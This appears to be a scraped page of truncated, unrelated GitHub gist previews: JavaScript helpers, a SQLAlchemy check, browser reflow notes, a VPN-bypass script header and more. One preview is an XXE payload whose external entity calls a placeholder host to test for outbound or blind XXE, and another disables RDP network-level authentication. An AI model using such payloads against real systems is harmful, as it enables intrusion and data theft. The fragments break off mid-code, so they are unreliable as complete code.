For educational reasons I've decided to create my own CA. Here is what I learned.
Lets get some context first.
function JSON_to_URLEncoded(element,key,list){ | |
var list = list || []; | |
if(typeof(element)=='object'){ | |
for (var idx in element) | |
JSON_to_URLEncoded(element[idx],key?key+'['+idx+']':idx,list); | |
} else { | |
list.push(key+'='+encodeURIComponent(element)); | |
} | |
return list.join('&'); | |
} |
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |
Sometimes you try to open a remote desktop connection to a machine only to get an error message that "the password has expired". | |
If the remote machine does not enforce NLA (Network Level Authentication), it is still possible to start a remote desktop session by disabling NLA on the client (currenlty not possible from the menu on my remote desktop client v.6.3.96000 that came with windows 8.1). | |
Add the following setting to your .rdp file ("C:\Users\<User>\Documents\Default.rdp" if you aren't using a specific one). | |
enablecredsspsupport:i:0 | |
Optionally you might need to specify |
// takes a {} object and returns a FormData object | |
var objectToFormData = function(obj, form, namespace) { | |
var fd = form || new FormData(); | |
var formKey; | |
for(var property in obj) { | |
if(obj.hasOwnProperty(property)) { | |
if(namespace) { |
import logging | |
from sqlalchemy import inspect | |
from sqlalchemy.ext.declarative.clsregistry import _ModuleMarker | |
from sqlalchemy.orm import RelationshipProperty | |
logger = logging.getLogger(__name__) | |
def is_sane_database(Base, session): |
I am working on adding support for building and distributing (via PyPI) Python Wheels with C Extensions to the Python wheel and pip packages. The discussion on Distutils-SIG continues, but I believe it is fairly certain that some effort to correctly identify Linux distributions will need to be made. I've begun efforts to add this support to wheel.
If you have a Linux distribution or version of a listed distribution not in this gist, or one of the ones I have not directly verified, I could use the following:
/etc/os-release
, if it existsAll of the below properties or methods, when requested/called in JavaScript, will trigger the browser to synchronously calculate the style and layout*. This is also called reflow or layout thrashing, and is common performance bottleneck.
Generally, all APIs that synchronously provide layout metrics will trigger forced reflow / layout. Read on for additional cases and details.
elem.offsetLeft
, elem.offsetTop
, elem.offsetWidth
, elem.offsetHeight
, elem.offsetParent
#!/bin/bash | |
# === INFO === | |
# NoVPN | |
# Description: Bypass VPN tunnel for applications run through this tool. | |
VERSION="3.0.0" | |
# Author: KrisWebDev | |
# Requirements: Linux with kernel > 2.6.4 (released in 2008). | |
# This version is tested on Ubuntu 14.04 and 19.10 with bash. | |
# Main dependencies are automatically installed. |
<!DOCTYPE html> | |
<html lang="en"> | |
<head> | |
<meta charset="UTF-8"> | |
<title>CSS to obfuscate text</title> | |
<style> |